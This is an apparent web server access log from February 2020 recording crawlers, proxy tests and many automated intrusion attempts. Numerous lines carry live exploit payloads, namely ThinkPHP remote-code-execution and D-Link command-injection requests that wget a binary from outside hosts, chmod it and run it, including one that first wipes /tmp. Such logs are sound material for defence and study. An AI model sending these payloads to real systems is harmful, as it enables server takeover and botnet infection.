46.118.126.142 - - [11/Feb/2020:03:09:08 +0100] "GET / HTTP/1.1" 200 1229 "https://casino-vulkane.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.126.142 - - [11/Feb/2020:03:09:09 +0100] "GET / HTTP/1.1" 200 1229 "https://casino-vulkane.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
185.173.35.21 - - [11/Feb/2020:03:13:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
2.132.49.121 - - [11/Feb/2020:03:14:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.51.143 - - [11/Feb/2020:03:16:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.14.110 - - [11/Feb/2020:03:20:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.35.237.234 - - [11/Feb/2020:03:23:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.113.46.210 - - [11/Feb/2020:03:24:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
45.148.10.179 - - [11/Feb/2020:03:34:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
151.72.206.126 - - [11/Feb/2020:03:34:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
208.114.149.10 - - [11/Feb/2020:03:34:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.148.10.179 - - [11/Feb/2020:03:34:21 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.148.10.179 - - [11/Feb/2020:03:34:22 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
81.180.86.47 - - [11/Feb/2020:03:34:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.191.70 - - [11/Feb/2020:03:41:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
130.204.14.153 - - [11/Feb/2020:03:41:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
178.88.86.196 - - [11/Feb/2020:03:43:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.115.174.80 - - [11/Feb/2020:03:43:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.130.115.131 - - [11/Feb/2020:03:46:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
45.148.10.179 - - [11/Feb/2020:03:46:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.148.10.179 - - [11/Feb/2020:03:46:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
103.194.90.54 - - [11/Feb/2020:03:47:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
45.148.10.179 - - [11/Feb/2020:03:47:43 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.148.10.179 - - [11/Feb/2020:03:47:47 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
190.28.111.56 - - [11/Feb/2020:03:47:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
45.148.10.179 - - [11/Feb/2020:03:48:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.148.10.179 - - [11/Feb/2020:03:48:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.148.10.179 - - [11/Feb/2020:03:48:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
198.108.66.80 - - [11/Feb/2020:03:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
121.244.48.70 - - [11/Feb/2020:03:52:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.254.149.38 - - [11/Feb/2020:03:55:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.55.72.16 - - [11/Feb/2020:04:00:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.197.185 - - [11/Feb/2020:04:02:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.36.148.127 - - [11/Feb/2020:04:02:56 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
151.80.39.65 - - [11/Feb/2020:04:03:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
201.150.48.231 - - [11/Feb/2020:04:03:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
27.216.245.215 - - [11/Feb/2020:04:05:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
95.81.217.20 - - [11/Feb/2020:04:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
119.164.133.20 - - [11/Feb/2020:04:07:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
111.175.56.73 - - [11/Feb/2020:04:09:11 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
150.255.7.83 - - [11/Feb/2020:04:09:12 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
113.128.105.64 - - [11/Feb/2020:04:09:12 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
58.249.100.79 - - [11/Feb/2020:04:09:13 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
111.175.56.152 - - [11/Feb/2020:04:09:14 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
182.138.163.183 - - [11/Feb/2020:04:09:15 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
220.250.11.122 - - [11/Feb/2020:04:09:17 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
1.202.113.28 - - [11/Feb/2020:04:09:21 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
1.53.42.105 - - [11/Feb/2020:04:10:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
109.73.178.81 - - [11/Feb/2020:04:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
183.80.22.136 - - [11/Feb/2020:04:16:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.73.116.254 - - [11/Feb/2020:04:22:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.73.116.254 - - [11/Feb/2020:04:22:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.247.112.53 - - [11/Feb/2020:04:23:04 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://178.128.183.31/arm7;chmod+777+arm7;/tmp/arm7+selfrep.jaws.arm7 HTTP/1.1" 400 329 "-" "Hello, world"
103.244.64.50 - - [11/Feb/2020:04:23:23 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [11/Feb/2020:04:23:25 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [11/Feb/2020:04:23:25 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [11/Feb/2020:04:23:26 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [11/Feb/2020:04:23:27 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [11/Feb/2020:04:23:28 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [11/Feb/2020:04:23:28 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [11/Feb/2020:04:23:32 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.244.64.50 - - [11/Feb/2020:04:23:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.28.235.77 - - [11/Feb/2020:04:27:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
2.133.77.200 - - [11/Feb/2020:04:28:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
138.97.224.167 - - [11/Feb/2020:04:35:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
187.74.61.238 - - [11/Feb/2020:04:37:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.85.91.19 - - [11/Feb/2020:04:43:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.162.106.181 - - [11/Feb/2020:04:54:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
93.117.23.210 - - [11/Feb/2020:05:03:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
178.88.86.196 - - [11/Feb/2020:05:04:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.114.65.232 - - [11/Feb/2020:05:05:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.163.255.13 - - [11/Feb/2020:05:08:11 +0100] "GET /robots.txt HTTP/1.0" 404 327 "-" "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)"
95.163.255.15 - - [11/Feb/2020:05:08:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)"
46.118.121.248 - - [11/Feb/2020:05:10:29 +0100] "GET / HTTP/1.1" 200 1229 "https://zvooq.eu/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Netscape/8.0.4"
46.118.121.248 - - [11/Feb/2020:05:10:29 +0100] "GET / HTTP/1.1" 200 1229 "https://zvooq.eu/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Netscape/8.0.4"
46.118.121.248 - - [11/Feb/2020:05:10:29 +0100] "GET / HTTP/1.1" 200 1229 "https://zvooq.eu/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Netscape/8.0.4"
78.189.200.210 - - [11/Feb/2020:05:10:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
45.152.6.58 - - [11/Feb/2020:05:12:12 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
76.84.21.89 - - [11/Feb/2020:05:13:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.116.13.127 - - [11/Feb/2020:05:14:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.43.6.122 - - [11/Feb/2020:05:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
167.99.90.99 - - [11/Feb/2020:05:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:41 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.81/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:41 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.84/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:41 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.89/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:41 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.88/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:41 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.82/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:41 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.86/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:41 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.83/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:42 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.85/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:42 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.80/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
167.99.90.99 - - [11/Feb/2020:05:17:42 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.87/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
45.152.6.58 - - [11/Feb/2020:05:18:29 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [11/Feb/2020:05:19:47 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
42.113.229.131 - - [11/Feb/2020:05:20:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.152.6.58 - - [11/Feb/2020:05:25:14 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
39.104.236.246 - - [11/Feb/2020:05:25:40 +0100] "GET /wangdafa HTTP/1.1" 404 328 "-" "python-requests/2.22.0"
45.152.6.58 - - [11/Feb/2020:05:25:41 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [11/Feb/2020:05:25:58 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [11/Feb/2020:05:26:17 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [11/Feb/2020:05:26:28 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [11/Feb/2020:05:26:49 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [11/Feb/2020:05:26:51 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
210.185.98.134 - - [11/Feb/2020:05:31:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.113.229.215 - - [11/Feb/2020:05:34:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.94.140.246 - - [11/Feb/2020:05:35:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
123.207.210.64 - - [11/Feb/2020:05:39:36 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:39:39 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:39:40 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:39:42 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:39:59 +0100] "GET //mysql/scripts/setup.php HTTP/1.1" 404 328 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:39:59 +0100] "GET //dbadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:01 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:02 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:03 +0100] "GET //mysql HTTP/1.1" 404 310 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:03 +0100] "GET //mysql/scripts/setup.php HTTP/1.1" 404 328 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:04 +0100] "GET //\xc2\xac/scripts/setup.php HTTP/1.1" 404 325 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:23 +0100] "GET //phpmy/scripts/setup.php HTTP/1.1" 404 328 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:23 +0100] "GET //db/scripts/setup.php HTTP/1.1" 404 325 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:32 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:33 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:34 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:35 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:35 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:36 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
